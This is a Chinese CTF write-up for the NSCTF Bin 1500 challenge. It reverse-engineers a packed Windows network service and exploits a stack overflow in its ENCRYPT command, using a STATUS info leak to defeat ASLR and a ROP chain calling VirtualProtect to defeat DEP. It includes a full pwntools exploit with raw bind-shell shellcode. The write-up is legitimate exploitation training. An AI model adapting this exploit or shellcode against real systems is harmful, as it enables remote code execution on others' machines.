实战中体验了次 DEP & ASLR 的绕过。
题目里只给了个 PE 程序,运行程序后 netstat -anbp tcp
可以看到程序正在监听 2994 端口。PEiD 查看发现是 AsPack 的壳,ESP 定律
脱壳后丢到 IDA 中搜索欢迎信息(shift F12
),F5 得到如下伪代码:
int __cdecl sub_401120(SOCKET s) { ··· SNIP ··· if ( !sub_4016BE(&buf, "ENCRYPT ", 8) ) { v12 = (int)&v10; sub_4010C0(s, (int)&v10); } if ( !sub_4016BE(&buf, "STATUS", 7) ) { v4 = GetModuleHandleA(0); sub_405EB0(&buf, 0, 1452); sub_40177E(&buf, 1452, "OK: Current Module Load @ 0x%.8X\n", v4); send(s, &buf, strlen(&buf), 0); } if ( !sub_4016BE(&buf, "EXIT", 4) ) { sub_405EB0(&buf, 0, 1452); sub_40179C("Session Exit:SOCKET[%d]\n", s); sub_40177E(&buf, 1452, "Session Exit:SOCKET[%d]", s); result = send(s, &buf, strlen(&buf), 0); if ( s == -1 ) return result; return closesocket(s); } ··· SNIP ···
可以发现只有三个操作,简单 Fuzz 下就会发现 ENCRYPT 函数会导致程序崩溃:
图 1
接下来需要做的就是具体的分析 ENCRYPT 函数。
跟进 10C0 可以看到函数取了输入的前两位并将剩余的一起放入 1030 中:
int __cdecl sub_4010C0(SOCKET s, int a2) { unsigned __int16 v2; // cx@1 char buf[4]; // [sp+10h] [bp-204h]@1 char v5; // [sp+14h] [bp-200h]@1 v2 = *(_WORD *)a2; // a2 => ABCEEFG // v2 => AB *(_DWORD *)buf = *(_WORD *)a2; // buf => ecx => ABCDEFGH前两字节 => AB sub_401030(v2, (int)&v5, a2 + 2); // a2+2 => CDEFGH send(s, buf, 2, 0); return send(s, &v5, *(unsigned __int16 *)buf, 0); }
继续跟进,终于看到真正的操作了。
int __usercall sub_401030@<eax>(signed int a1@<ebx>, int a2, int a3) { int v3; // eax@2 signed int v4; // esi@2 int v5; // edi@3 int result; // eax@5 int v7; // edx@7 int v8; // ecx@8 int v9; // edi@9 if ( !byte_40F95C ) // 异或表 { v3 = sub_401566(0); sub_4015B7(v3); v4 = (signed int)dword_40F968; do { v5 = sub_4015C9() << 16; *(_DWORD *)v4 = v5 + sub_4015C9(); v4 += 4; } while ( v4 < (signed int)&dword_40F9E8 ); byte_40F95C = 1; // 只生成1次异或表 } result = a1 / 4; // 控制异或次数 if ( a1 & 3 ) ++result; v7 = 0; if ( result > 0 ) { v8 = a2; do { v9 = *(_DWORD *)(a3 - a2 + v8) ^ dword_40F968[v7++ & 0x1F];// v7 => edx、edi(edx计数、edi保存) // 取key and后保存在edi中 // 与输入异或保存在edi中 *(_DWORD *)v8 = v9; // memcpy!造成溢出。 v8 += 4; } while ( v7 < result ); } return result; }
可以看出前两个字符用于控制需要加密的数据大小,接下来的则是需要加密的数据。这里存在两个问题:
手工二分法大致判断出溢出长度为 500 到 1000 之间,通过mona.py
生成的字符串可以定位覆盖 EIP 的具体长度。
就此题而言,对抗 ASLR 很简单,因为 STATUS
命令会直接返回模块加载的基地址。通过 ROP 绕过 DEP,在 IDA 里可以看到官方给写好很多小配件(helper 段):
结合这些小配件就可以编写出自己的 ROP 链,最终的 EXP 如下:
#coding: utf-8 from pwn import * HOST = sys.argv[1] conn = remote(HOST, 2994) conn.newline = "\r\n" # get welcome message conn.recv() # get addr log.info("try to get the base addr") conn.sendline("STATUS") base = int(conn.recv().strip()[-10:], 16) log.success("base addr => {}".format(hex(base))) # first encryption, to get the table log.info("send the first packet, try to get the table") conn.sendline("ENCRYPT \x80\x00" + "\x00"*0x80) conn.recv() table = conn.recv() # second encryption, exploit it log.info("send the second packet, try to exploit it") payload = "\x90" * 0x200 # save esp to eax, ebx payload += pack(base+0x1001) # mov eax, esp; retn payload += pack(base+0x1004) # mov ebx, eax; retn # point ebx to shellcode payload += pack(base+0x1015) # add ebx, 20; retn payload += pack(base+0x1015) # add ebx, 20; retn payload += pack(base+0x1015) # add ebx, 20; retn payload += pack(base+0x1015) # add ebx, 20; retn payload += pack(base+0x1015) # add ebx, 20; retn # point eax to parameter1 payload += pack(base+0x100e) # add eax, 10; retn payload += pack(base+0x100e) # add eax, 10; retn payload += pack(base+0x100e) # add eax, 10; retn payload += pack(base+0x100e) # add eax, 10; retn payload += pack(base+0x100e) # add eax, 10; retn payload += pack(base+0x3814) # pop ecx; retn payload += pack(0x4) payload += pack(base+0x5c0a) # sub eax, ecx; retn # modify parameter 1 payload += pack(base+0x1007) # mov dword ptr ds:[eax],ebx; retn # point eax to ret addr & modify ret payload += pack(base+0x100a) # sub eax, 4; retn payload += pack(base+0x1007) # mov dword ptr ds:[eax],ebx; retn # call VirtualProtect payload += pack(base+0x101b) # push kernel32.VirtualProtect; retn payload += "AAAA" # ret payload += "BBBB" # lpAddress payload += pack(0x200) # dwsize payload += pack(0x40) # flNewProtect payload += pack(0x00010000) # lpflOldProtect payload += "\x90" * 0x10 # shellcode for bind shell payload += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" payload += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" payload += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" payload += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" payload += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" payload += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" payload += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" payload += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" payload += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" payload += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" payload += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" payload += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" payload += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" payload += "\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68" payload += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89" payload += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57" payload += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1" payload += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63" payload += "\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59" payload += "\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24" payload += "\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56" payload += "\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e" payload += "\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0" payload += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" payload += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00" payload += "\x53\xff\xd5" # xor encode payload payload = xor(table, payload, cut="right") conn.sendline("ENCRYPT {}{}".format(p16(len(payload)), payload)) # close the connection conn.close() # interact with shell conn = remote(HOST, 4444) log.success("enjoy :)") conn.interactive(prompt="") conn.close()
图 3
小 tip:这题做题是只要求弹出计算器,所以没必要构造完整的 ROP,利用程序自带的开新进程就可以达到题目要求。
【原文:NSCTF Bin 1500 作者:chu 安全脉搏整理发布】